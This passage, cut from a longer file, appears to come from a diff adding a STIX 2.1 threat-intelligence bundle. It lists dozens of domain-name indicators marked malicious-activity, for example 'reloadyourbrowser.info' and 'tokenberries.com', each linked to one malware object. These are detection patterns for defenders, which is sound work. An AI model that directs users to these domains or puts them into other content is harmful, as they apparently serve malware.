"2023-04-11T17:02:46.135843Z", + "modified": "2023-04-11T17:02:46.135843Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2291ff2-8bcc-4321-8416-676103eafe91", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--260577d7-bf1a-46e2-983f-02e4dec7fd63", + "created": "2023-04-11T17:02:46.13602Z", + "modified": "2023-04-11T17:02:46.13602Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gamezess.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.13602Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--661397a6-b1f5-4be2-b531-0ec5ae4a5ea1", + "created": "2023-04-11T17:02:46.136668Z", + "modified": "2023-04-11T17:02:46.136668Z", + "relationship_type": "indicates", + "source_ref": "indicator--260577d7-bf1a-46e2-983f-02e4dec7fd63", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--322e3461-cc8e-44ba-97cb-296fb70a0648", + "created": "2023-04-11T17:02:46.136849Z", + "modified": "2023-04-11T17:02:46.136849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mwww.ro']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.136849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7700146c-12ce-419c-a141-638dfab75d7c", + "created": "2023-04-11T17:02:46.137482Z", + "modified": "2023-04-11T17:02:46.137482Z", + "relationship_type": "indicates", + "source_ref": "indicator--322e3461-cc8e-44ba-97cb-296fb70a0648", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80ea4fdc-e576-4661-ada6-e048334253ff", + "created": "2023-04-11T17:02:46.137678Z", + "modified": "2023-04-11T17:02:46.137678Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hopsite.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.137678Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--958bf692-13ba-40ce-9664-bad7d9d34133", + "created": "2023-04-11T17:02:46.138376Z", + "modified": "2023-04-11T17:02:46.138376Z", + "relationship_type": "indicates", + "source_ref": "indicator--80ea4fdc-e576-4661-ada6-e048334253ff", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e910593-1ac7-43af-b99c-143e7041c880", + "created": "2023-04-11T17:02:46.138577Z", + "modified": "2023-04-11T17:02:46.138577Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zedforme.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.138577Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d1851b2-456f-4a56-bcc0-57507403256e", + "created": "2023-04-11T17:02:46.139354Z", + "modified": "2023-04-11T17:02:46.139354Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e910593-1ac7-43af-b99c-143e7041c880", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e2e0001-e6df-48da-aaea-ddc77354728f", + "created": "2023-04-11T17:02:46.139537Z", + "modified": "2023-04-11T17:02:46.139537Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wildhour.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.139537Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f09cd7b7-29b3-4491-9b36-dc4bb44ea0fd", + "created": "2023-04-11T17:02:46.140162Z", + "modified": "2023-04-11T17:02:46.140162Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e2e0001-e6df-48da-aaea-ddc77354728f", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e9f4d54f-b685-4435-b30d-f0a5aba09438", + "created": "2023-04-11T17:02:46.140341Z", + "modified": "2023-04-11T17:02:46.140341Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wellnessjane.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.140341Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e39786a4-6977-40ad-88f6-d7b9b514cb59", + "created": "2023-04-11T17:02:46.141057Z", + "modified": "2023-04-11T17:02:46.141057Z", + "relationship_type": "indicates", + "source_ref": "indicator--e9f4d54f-b685-4435-b30d-f0a5aba09438", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2bc3a53-8443-4d89-b2ff-78354653a604", + "created": "2023-04-11T17:02:46.141238Z", + "modified": "2023-04-11T17:02:46.141238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='studyreaserch.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.141238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b806b94f-97e8-417e-8f00-f4b22c9b6021", + "created": "2023-04-11T17:02:46.141869Z", + "modified": "2023-04-11T17:02:46.141869Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2bc3a53-8443-4d89-b2ff-78354653a604", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d1e57d87-97ca-49d6-aaf2-1c38c2feac0e", + "created": "2023-04-11T17:02:46.142049Z", + "modified": "2023-04-11T17:02:46.142049Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunnyweek.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.142049Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--560ebd3e-dfae-46f2-a6c0-c5fba7a253a0", + "created": "2023-04-11T17:02:46.142668Z", + "modified": "2023-04-11T17:02:46.142668Z", + "relationship_type": "indicates", + "source_ref": "indicator--d1e57d87-97ca-49d6-aaf2-1c38c2feac0e", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce4b01cb-dc74-4104-87f7-82b9f113a576", + "created": "2023-04-11T17:02:46.142846Z", + "modified": "2023-04-11T17:02:46.142846Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fosterunch.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.142846Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--29a0a751-e2f6-46ee-891f-a29dddfb0926", + "created": "2023-04-11T17:02:46.143487Z", + "modified": "2023-04-11T17:02:46.143487Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce4b01cb-dc74-4104-87f7-82b9f113a576", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b18a26e-4cfd-4638-b68c-0aad79442c4e", + "created": "2023-04-11T17:02:46.143666Z", + "modified": "2023-04-11T17:02:46.143666Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sunsandlights.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.143666Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a2433094-6e84-494b-a5ec-66c245a1bdd2", + "created": "2023-04-11T17:02:46.144293Z", + "modified": "2023-04-11T17:02:46.144293Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b18a26e-4cfd-4638-b68c-0aad79442c4e", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--62cbb9a4-edf7-4271-b8c9-c603eebdded4", + "created": "2023-04-11T17:02:46.144469Z", + "modified": "2023-04-11T17:02:46.144469Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='noraplant.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.144469Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07590177-012b-4c0f-8d42-1d50447919c5", + "created": "2023-04-11T17:02:46.145088Z", + "modified": "2023-04-11T17:02:46.145088Z", + "relationship_type": "indicates", + "source_ref": "indicator--62cbb9a4-edf7-4271-b8c9-c603eebdded4", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f0e2a239-1464-484b-9a4b-9bf9adc6444c", + "created": "2023-04-11T17:02:46.145268Z", + "modified": "2023-04-11T17:02:46.145268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reloadyourbrowser.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.145268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c332bf7b-0c78-43f7-8be3-70287333fe99", + "created": "2023-04-11T17:02:46.145902Z", + "modified": "2023-04-11T17:02:46.145902Z", + "relationship_type": "indicates", + "source_ref": "indicator--f0e2a239-1464-484b-9a4b-9bf9adc6444c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e640b935-90bd-45ed-aeed-2f39cb1d8274", + "created": "2023-04-11T17:02:46.146083Z", + "modified": "2023-04-11T17:02:46.146083Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stockstiming.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.146083Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86ac9570-5180-47b5-ae19-1c7c671f0412", + "created": "2023-04-11T17:02:46.146837Z", + "modified": "2023-04-11T17:02:46.146837Z", + "relationship_type": "indicates", + "source_ref": "indicator--e640b935-90bd-45ed-aeed-2f39cb1d8274", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--563eb21f-911f-4b48-9500-26467ef86fe0", + "created": "2023-04-11T17:02:46.147017Z", + "modified": "2023-04-11T17:02:46.147017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='designaroo.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.147017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddf220b8-3007-4049-b419-7b3652f86272", + "created": "2023-04-11T17:02:46.147651Z", + "modified": "2023-04-11T17:02:46.147651Z", + "relationship_type": "indicates", + "source_ref": "indicator--563eb21f-911f-4b48-9500-26467ef86fe0", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4276ebe6-7afa-4319-9312-f79758251c5c", + "created": "2023-04-11T17:02:46.147829Z", + "modified": "2023-04-11T17:02:46.147829Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teachlearning.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.147829Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b9365e62-9101-4f6c-9a82-7218ab00e529", + "created": "2023-04-11T17:02:46.148475Z", + "modified": "2023-04-11T17:02:46.148475Z", + "relationship_type": "indicates", + "source_ref": "indicator--4276ebe6-7afa-4319-9312-f79758251c5c", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--366f06dd-b6d3-484e-817c-82187479f2be", + "created": "2023-04-11T17:02:46.148658Z", + "modified": "2023-04-11T17:02:46.148658Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='forestaaa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.148658Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e354424f-0b11-4b3d-a3bd-616f66701a5e", + "created": "2023-04-11T17:02:46.149283Z", + "modified": "2023-04-11T17:02:46.149283Z", + "relationship_type": "indicates", + "source_ref": "indicator--366f06dd-b6d3-484e-817c-82187479f2be", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56b091d6-1958-450f-99b8-1d09b1fe1ed2", + "created": "2023-04-11T17:02:46.149461Z", + "modified": "2023-04-11T17:02:46.149461Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kidzalnd.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.149461Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f21370d-fd30-48bc-9e30-2b41d0bb6925", + "created": "2023-04-11T17:02:46.150082Z", + "modified": "2023-04-11T17:02:46.150082Z", + "relationship_type": "indicates", + "source_ref": "indicator--56b091d6-1958-450f-99b8-1d09b1fe1ed2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--92f86561-a173-420a-ac07-4e4dfe4024e2", + "created": "2023-04-11T17:02:46.150259Z", + "modified": "2023-04-11T17:02:46.150259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cleanitgo.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.150259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b9440741-9051-481b-a7c4-8ae6e6de81a1", + "created": "2023-04-11T17:02:46.150879Z", + "modified": "2023-04-11T17:02:46.150879Z", + "relationship_type": "indicates", + "source_ref": "indicator--92f86561-a173-420a-ac07-4e4dfe4024e2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8501718a-7b6f-4507-b867-026b06e00a44", + "created": "2023-04-11T17:02:46.151055Z", + "modified": "2023-04-11T17:02:46.151055Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='incollegely.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.151055Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a4d1ff3-5cdc-4370-abfb-2bd5d5c74943", + "created": "2023-04-11T17:02:46.151686Z", + "modified": "2023-04-11T17:02:46.151686Z", + "relationship_type": "indicates", + "source_ref": "indicator--8501718a-7b6f-4507-b867-026b06e00a44", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c399b831-fc9e-4e92-bb85-1ea49a912e9f", + "created": "2023-04-11T17:02:46.151868Z", + "modified": "2023-04-11T17:02:46.151868Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='choccoline.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.151868Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65299ba2-276b-4b93-8ac0-66b072f6affd", + "created": "2023-04-11T17:02:46.152492Z", + "modified": "2023-04-11T17:02:46.152492Z", + "relationship_type": "indicates", + "source_ref": "indicator--c399b831-fc9e-4e92-bb85-1ea49a912e9f", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b807cff5-62b2-4921-9095-bc08b85140c5", + "created": "2023-04-11T17:02:46.152669Z", + "modified": "2023-04-11T17:02:46.152669Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nutureheus.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.152669Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2570954-506b-4380-bc57-75085894c637", + "created": "2023-04-11T17:02:46.153292Z", + "modified": "2023-04-11T17:02:46.153292Z", + "relationship_type": "indicates", + "source_ref": "indicator--b807cff5-62b2-4921-9095-bc08b85140c5", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c177f757-f73a-44fe-a780-858820d85758", + "created": "2023-04-11T17:02:46.153471Z", + "modified": "2023-04-11T17:02:46.153471Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rentalproct.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.153471Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33cfdbfe-35fe-4c9e-88bd-352bdf629526", + "created": "2023-04-11T17:02:46.154206Z", + "modified": "2023-04-11T17:02:46.154206Z", + "relationship_type": "indicates", + "source_ref": "indicator--c177f757-f73a-44fe-a780-858820d85758", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84e8d6d2-b741-4ba0-8e61-b1a2b44eeb35", + "created": "2023-04-11T17:02:46.154387Z", + "modified": "2023-04-11T17:02:46.154387Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jungelfruitime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.154387Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fcc03ba-65e6-4d3f-80bd-f10d5b97f58d", + "created": "2023-04-11T17:02:46.155013Z", + "modified": "2023-04-11T17:02:46.155013Z", + "relationship_type": "indicates", + "source_ref": "indicator--84e8d6d2-b741-4ba0-8e61-b1a2b44eeb35", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--655241c9-e0cd-4545-bff0-8fe0803af2cb", + "created": "2023-04-11T17:02:46.155201Z", + "modified": "2023-04-11T17:02:46.155201Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wilddog.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.155201Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65dfd0af-379a-4092-9e69-4a9c1c60d473", + "created": "2023-04-11T17:02:46.155886Z", + "modified": "2023-04-11T17:02:46.155886Z", + "relationship_type": "indicates", + "source_ref": "indicator--655241c9-e0cd-4545-bff0-8fe0803af2cb", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7aa7a73f-cf35-4b2c-ab2d-767f68390253", + "created": "2023-04-11T17:02:46.15607Z", + "modified": "2023-04-11T17:02:46.15607Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thetimespress.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.15607Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--503701fe-2903-41bc-984a-3a896d3dc52b", + "created": "2023-04-11T17:02:46.156697Z", + "modified": "2023-04-11T17:02:46.156697Z", + "relationship_type": "indicates", + "source_ref": "indicator--7aa7a73f-cf35-4b2c-ab2d-767f68390253", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fbf1153-11c9-4001-bdd1-e6195a29762d", + "created": "2023-04-11T17:02:46.156875Z", + "modified": "2023-04-11T17:02:46.156875Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='monvesting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.156875Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be8e4815-715e-4526-a6fd-404affe7e341", + "created": "2023-04-11T17:02:46.157516Z", + "modified": "2023-04-11T17:02:46.157516Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fbf1153-11c9-4001-bdd1-e6195a29762d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7db4d2ef-0246-41ae-961e-0850740260ed", + "created": "2023-04-11T17:02:46.157752Z", + "modified": "2023-04-11T17:02:46.157752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ctbgameson.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.157752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd83cc01-f93e-4bbf-81cd-8150f3cdf1bc", + "created": "2023-04-11T17:02:46.158419Z", + "modified": "2023-04-11T17:02:46.158419Z", + "relationship_type": "indicates", + "source_ref": "indicator--7db4d2ef-0246-41ae-961e-0850740260ed", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e6491f0-15a6-4901-a1b0-9dc093ee7291", + "created": "2023-04-11T17:02:46.158607Z", + "modified": "2023-04-11T17:02:46.158607Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='techpowerlight.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.158607Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ea750b0-08af-4799-a597-24cf7e8b50cb", + "created": "2023-04-11T17:02:46.159255Z", + "modified": "2023-04-11T17:02:46.159255Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e6491f0-15a6-4901-a1b0-9dc093ee7291", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c6feedc-4d68-4880-b237-10daa29ce36d", + "created": "2023-04-11T17:02:46.159435Z", + "modified": "2023-04-11T17:02:46.159435Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='brushyourteeth.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.159435Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e390bb4e-b621-4e2d-af04-c5f374fd5e12", + "created": "2023-04-11T17:02:46.160066Z", + "modified": "2023-04-11T17:02:46.160066Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c6feedc-4d68-4880-b237-10daa29ce36d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52e2b30b-64a9-4924-87d6-07683870b049", + "created": "2023-04-11T17:02:46.160244Z", + "modified": "2023-04-11T17:02:46.160244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iwoodstor.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.160244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f4bc15a2-6290-4c41-9e0f-7d1a68240259", + "created": "2023-04-11T17:02:46.16087Z", + "modified": "2023-04-11T17:02:46.16087Z", + "relationship_type": "indicates", + "source_ref": "indicator--52e2b30b-64a9-4924-87d6-07683870b049", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca3a0f6c-6bbc-4484-b850-5d5c9560f9e5", + "created": "2023-04-11T17:02:46.161051Z", + "modified": "2023-04-11T17:02:46.161051Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youristores.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.161051Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60c4f3cf-cfcb-4b29-b9a0-ee0d5ff11f7c", + "created": "2023-04-11T17:02:46.161875Z", + "modified": "2023-04-11T17:02:46.161875Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca3a0f6c-6bbc-4484-b850-5d5c9560f9e5", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da1328b3-1fce-48e9-ad8e-3fdf5b1ef798", + "created": "2023-04-11T17:02:46.162059Z", + "modified": "2023-04-11T17:02:46.162059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='planetosgame.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.162059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa2d0102-3528-481f-a347-d41f34bccc56", + "created": "2023-04-11T17:02:46.162683Z", + "modified": "2023-04-11T17:02:46.162683Z", + "relationship_type": "indicates", + "source_ref": "indicator--da1328b3-1fce-48e9-ad8e-3fdf5b1ef798", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--548c085b-6b0a-47a3-8516-2b2980523f82", + "created": "2023-04-11T17:02:46.162862Z", + "modified": "2023-04-11T17:02:46.162862Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tokenberries.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.162862Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef32d6da-e702-4082-bc49-52afc9278f7e", + "created": "2023-04-11T17:02:46.163491Z", + "modified": "2023-04-11T17:02:46.163491Z", + "relationship_type": "indicates", + "source_ref": "indicator--548c085b-6b0a-47a3-8516-2b2980523f82", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6374eb2-df98-4c1f-9f13-61c1843abbbd", + "created": "2023-04-11T17:02:46.16367Z", + "modified": "2023-04-11T17:02:46.16367Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='londonistory.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.16367Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67c38a02-10be-4366-91ee-23cb80b3b08d", + "created": "2023-04-11T17:02:46.164294Z", + "modified": "2023-04-11T17:02:46.164294Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6374eb2-df98-4c1f-9f13-61c1843abbbd", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c0cce77-65d9-483f-a10a-e22bb898a142", + "created": "2023-04-11T17:02:46.164472Z", + "modified": "2023-04-11T17:02:46.164472Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gameboysess.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.164472Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c479fbeb-fa30-46f9-9630-ad96c22762c9", + "created": "2023-04-11T17:02:46.165092Z", + "modified": "2023-04-11T17:02:46.165092Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c0cce77-65d9-483f-a10a-e22bb898a142", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94ad6fdf-f3b3-421d-a623-a4dfa73fc88d", + "created": "2023-04-11T17:02:46.165273Z", + "modified": "2023-04-11T17:02:46.165273Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hotalsextra.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.165273Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cfc0ebc0-7bd6-4061-af01-339b55f9d7b7", + "created": "2023-04-11T17:02:46.165898Z", + "modified": "2023-04-11T17:02:46.165898Z", + "relationship_type": "indicates", + "source_ref": "indicator--94ad6fdf-f3b3-421d-a623-a4dfa73fc88d", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--195d76c3-0e89-4c3e-8188-629cde628a67", + "created": "2023-04-11T17:02:46.166077Z", + "modified": "2023-04-11T17:02:46.166077Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='topuprr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.166077Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 